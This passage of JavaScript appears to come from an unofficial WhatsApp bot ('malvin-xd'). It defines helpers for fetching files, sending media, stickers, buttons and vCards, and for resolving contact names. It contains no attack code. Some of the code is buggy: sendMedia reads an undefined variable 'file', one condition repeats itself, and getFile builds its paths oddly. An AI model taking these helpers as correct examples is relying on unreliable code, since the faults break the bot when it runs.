}
if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant
else if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant
if (copy.key.remoteJid.includes('@s.whatsapp.net')) sender = sender || copy.key.remoteJid
else if (copy.key.remoteJid.includes('@broadcast')) sender = sender || copy.key.remoteJid
copy.key.remoteJid = jid
copy.key.fromMe = sender === conn.user.id
return proto.WebMessageInfo.fromObject(copy)
}
/**
*
* @param {*} path
* @returns
*/
//=====================================================
conn.getFile = async(PATH, save) => {
let res
let data = Buffer.isBuffer(PATH) ? PATH : /^data:.*?\/.*?;base64,/i.test(PATH) ? Buffer.from(PATH.split `,` [1], 'base64') : /^https?:\/\//.test(PATH) ? await (res = await getBuffer(PATH)) : fs.existsSync(PATH) ? (filename = PATH, fs.readFileSync(PATH)) : typeof PATH === 'string' ? PATH : Buffer.alloc(0)
//if (!Buffer.isBuffer(data)) throw new TypeError('Result is not a buffer')
let type = await FileType.fromBuffer(data) || {
mime: 'application/octet-stream',
ext: '.bin'
}
let filename = path.join(__filename, __dirname + new Date * 1 + '.' + type.ext)
if (data && save) fs.promises.writeFile(filename, data)
return {
res,
filename,
size: await getSizeMedia(data),
...type,
data
}
}
//=====================================================
conn.sendFile = async(jid, PATH, fileName, quoted = {}, options = {}) => {
let types = await conn.getFile(PATH, true)
let { filename, size, ext, mime, data } = types
let type = '',
mimetype = mime,
pathFile = filename
if (options.asDocument) type = 'document'
if (options.asSticker || /webp/.test(mime)) {
let { writeExif } = require('./exif.js')
let media = { mimetype: mime, data }
pathFile = await writeExif(media, { packname: Config.packname, author: Config.packname, categories: options.categories ? options.categories : [] })
await fs.promises.unlink(filename)
type = 'sticker'
mimetype = 'image/webp'
} else if (/image/.test(mime)) type = 'image'
else if (/video/.test(mime)) type = 'video'
else if (/audio/.test(mime)) type = 'audio'
else type = 'document'
await conn.sendMessage(jid, {
[type]: { url: pathFile },
mimetype,
fileName,
...options
}, { quoted, ...options })
return fs.promises.unlink(pathFile)
}
//=====================================================
conn.parseMention = async(text) => {
return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net')
}
//=====================================================
conn.sendMedia = async(jid, path, fileName = '', caption = '', quoted = '', options = {}) => {
let types = await conn.getFile(path, true)
let { mime, ext, res, data, filename } = types
if (res && res.status !== 200 || file.length <= 65536) {
try { throw { json: JSON.parse(file.toString()) } } catch (e) { if (e.json) throw e.json }
}
let type = '',
mimetype = mime,
pathFile = filename
if (options.asDocument) type = 'document'
if (options.asSticker || /webp/.test(mime)) {
let { writeExif } = require('./exif')
let media = { mimetype: mime, data }
pathFile = await writeExif(media, { packname: options.packname ? options.packname : Config.packname, author: options.author ? options.author : Config.author, categories: options.categories ? options.categories : [] })
await fs.promises.unlink(filename)
type = 'sticker'
mimetype = 'image/webp'
} else if (/image/.test(mime)) type = 'image'
else if (/video/.test(mime)) type = 'video'
else if (/audio/.test(mime)) type = 'audio'
else type = 'document'
await conn.sendMessage(jid, {
[type]: { url: pathFile },
caption,
mimetype,
fileName,
...options
}, { quoted, ...options })
return fs.promises.unlink(pathFile)
}
/**
*
* @param {*} message
* @param {*} filename
* @param {*} attachExtension
* @returns
*/
//=====================================================
conn.sendVideoAsSticker = async (jid, buff, options = {}) => {
let buffer;
if (options && (options.packname || options.author)) {
buffer = await writeExifVid(buff, options);
} else {
buffer = await videoToWebp(buff);
}
await conn.sendMessage(
jid,
{ sticker: { url: buffer }, ...options },
options
);
};
//=====================================================
conn.sendImageAsSticker = async (jid, buff, options = {}) => {
let buffer;
if (options && (options.packname || options.author)) {
buffer = await writeExifImg(buff, options);
} else {
buffer = await imageToWebp(buff);
}
await conn.sendMessage(
jid,
{ sticker: { url: buffer }, ...options },
options
);
};
/**
*
* @param {*} jid
* @param {*} path
* @param {*} quoted
* @param {*} options
* @returns
*/
//=====================================================
conn.sendTextWithMentions = async(jid, text, quoted, options = {}) => conn.sendMessage(jid, { text: text, contextInfo: { mentionedJid: [...text.matchAll(/@(\d{0,16})/g)].map(v => v[1] + '@s.whatsapp.net') }, ...options }, { quoted })
/**
*
* @param {*} jid
* @param {*} path
* @param {*} quoted
* @param {*} options
* @returns
*/
//=====================================================
conn.sendImage = async(jid, path, caption = '', quoted = '', options) => {
let buffer = Buffer.isBuffer(path) ? path : /^data:.*?\/.*?;base64,/i.test(path) ? Buffer.from(path.split `,` [1], 'base64') : /^https?:\/\//.test(path) ? await (await getBuffer(path)) : fs.existsSync(path) ? fs.readFileSync(path) : Buffer.alloc(0)
return await conn.sendMessage(jid, { image: buffer, caption: caption, ...options }, { quoted })
}
/**
*
* @param {*} jid
* @param {*} path
* @param {*} caption
* @param {*} quoted
* @param {*} options
* @returns
*/
//=====================================================
conn.sendText = (jid, text, quoted = '', options) => conn.sendMessage(jid, { text: text, ...options }, { quoted })
/**
*
* @param {*} jid
* @param {*} path
* @param {*} caption
* @param {*} quoted
* @param {*} options
* @returns
*/
//=====================================================
conn.sendButtonText = (jid, buttons = [], text, footer, quoted = '', options = {}) => {
let buttonMessage = {
text,
footer,
buttons,
headerType: 2,
...options
}
//========================================================================================================================================
conn.sendMessage(jid, buttonMessage, { quoted, ...options })
}
//=====================================================
conn.send5ButImg = async(jid, text = '', footer = '', img, but = [], thumb, options = {}) => {
let message = await prepareWAMessageMedia({ image: img, jpegThumbnail: thumb }, { upload: conn.waUploadToServer })
var template = generateWAMessageFromContent(jid, proto.Message.fromObject({
templateMessage: {
hydratedTemplate: {
imageMessage: message.imageMessage,
"hydratedContentText": text,
"hydratedFooterText": footer,
"hydratedButtons": but
}
}
}), options)
conn.relayMessage(jid, template.message, { messageId: template.key.id })
}
/**
*
* @param {*} jid
* @param {*} buttons
* @param {*} caption
* @param {*} footer
* @param {*} quoted
* @param {*} options
*/
//=====================================================
conn.getName = (jid, withoutContact = false) => {
id = conn.decodeJid(jid);
withoutContact = conn.withoutContact || withoutContact;
let v;
if (id.endsWith('@g.us'))
return new Promise(async resolve => {
v = store.contacts[id] || {};
if (!(v.name.notify || v.subject))
v = conn.groupMetadata(id) || {};
resolve(
v.name ||
v.subject ||
PhoneNumber(
'+' + id.replace('@s.whatsapp.net', ''),
).getNumber('international'),
);
});
else
v =
id === '0@s.whatsapp.net'
? {
id,
name: 'WhatsApp',
}
: id === conn.decodeJid(conn.user.id)
? conn.user
: store.contacts[id] || {};
return (
(withoutContact ? '' : v.name) ||
v.subject ||
v.verifiedName ||
PhoneNumber(
'+' + jid.replace('@s.whatsapp.net', ''),
).getNumber('international')
);
};
// Vcard Functionality
conn.sendContact = async (jid, kon, quoted = '', opts = {}) => {
let list = [];
for (let i of kon) {
list.push({
displayName: await conn.getName(i + '@s.whatsapp.net'),
vcard: `BEGIN:VCARD\nVERSION:3.0\nN:${await conn.getName(
i + '@s.whatsapp.net',
)}\nFN:${
global.OwnerName
}\nitem1.TEL;waid=${i}:${i}\nitem1.X-ABLabel:Click here to chat\nitem2.EMAIL;type=INTERNET:${
global.email
}\nitem2.X-ABLabel:GitHub\nitem3.URL:https://github.com/${
global.github
}/malvin-xd\nitem3.X-ABLabel:GitHub\nitem4.ADR:;;${
global.location
};;;;\nitem4.X-ABLabel:Region\nEND:VCARD`,
});
}
conn.sendMessage(
jid,
{
contacts: {
displayName: `${list.length} Contact`,
contacts: list,
},
...opts,
},
{ quoted },
);
};
// Status aka brio
conn.setStatus = status => {
conn.query({
tag: 'iq',